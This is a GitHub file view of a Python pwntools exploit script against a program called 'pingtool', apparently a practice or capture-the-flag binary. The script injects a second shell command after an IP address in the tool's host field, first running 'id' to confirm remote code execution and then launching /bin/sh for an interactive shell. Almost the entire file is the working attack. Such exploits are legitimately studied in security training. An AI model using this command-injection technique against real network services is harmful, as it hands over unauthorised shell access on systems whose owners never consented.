Repository navigation
Expand file tree
/
Copy pathexploit.py
More file actions
74 lines (61 loc) · 2.22 KB
/
Copy pathexploit.py
File metadata and controls
74 lines (61 loc) · 2.22 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
#!/usr/bin/env python3
# PingTool - Command Injection → RCE (fixed recv terminator)
from pwn import *
import sys, time
context.binary = elf = ELF('./pingtool')
context.arch = 'i386'
context.log_level = 'info'
context.timeout = 6
USE_REMOTE = False
HOST, PORT = '127.0.0.1', 9090
# Menu prompt ends with "3. quit\n> " — unique; ping's "=> " cannot match it
MENU = b'3. quit\n> '
def start():
return remote(HOST, PORT) if USE_REMOTE else process('./pingtool')
def recv(p, s, label=""):
data = p.recvuntil(s, timeout=context.timeout)
if not data.endswith(s):
log.failure(f"[{label}] expected {s!r}, got tail: {data[-120:]!r}")
sys.exit(1)
return data
def inject(p, payload, wait_menu=True):
"""Send: menu -> 1 -> payload. If wait_menu, wait for menu to return."""
recv(p, MENU, "menu")
p.sendline(b'1')
recv(p, b'host: ', "host_prompt")
p.sendline(payload)
if wait_menu:
return recv(p, MENU, "back_to_menu")
return b''
def run_cmd(cmd):
p = start()
out = inject(p, f"127.0.0.1;{cmd}".encode())
p.close()
return out
# ── Stage 1: prove RCE with id ──────────────────────────────────────
log.info("=== Stage 1: verify RCE via 'id' ===")
out = run_cmd("id")
if b'uid=' not in out:
log.failure("no 'uid=' in output — injection did not fire")
log.failure(f"raw output:\n{out.decode(errors='replace')}")
sys.exit(1)
uid_line = [l for l in out.decode(errors='replace').splitlines() if 'uid=' in l][0]
log.success(f"RCE CONFIRMED — {uid_line}")
# ── Stage 2: interactive shell ──────────────────────────────────────
log.info("=== Stage 2: interactive shell ===")
p = start()
# Do NOT wait for menu — /bin/sh takes over system() and never returns
inject(p, b"127.0.0.1;/bin/sh", wait_menu=False)
time.sleep(0.3)
def sh(cmd):
p.sendline(cmd)
time.sleep(0.4)
try: out = p.recv(timeout=2)
except: out = b''
print(f"$ {cmd.decode()}\n{out.decode(errors='replace')}", end='')
return out
sh(b'id 2>&1')
sh(b'whoami 2>&1')
sh(b'uname -a 2>&1')
sh(b'ls / 2>&1')
p.interactive()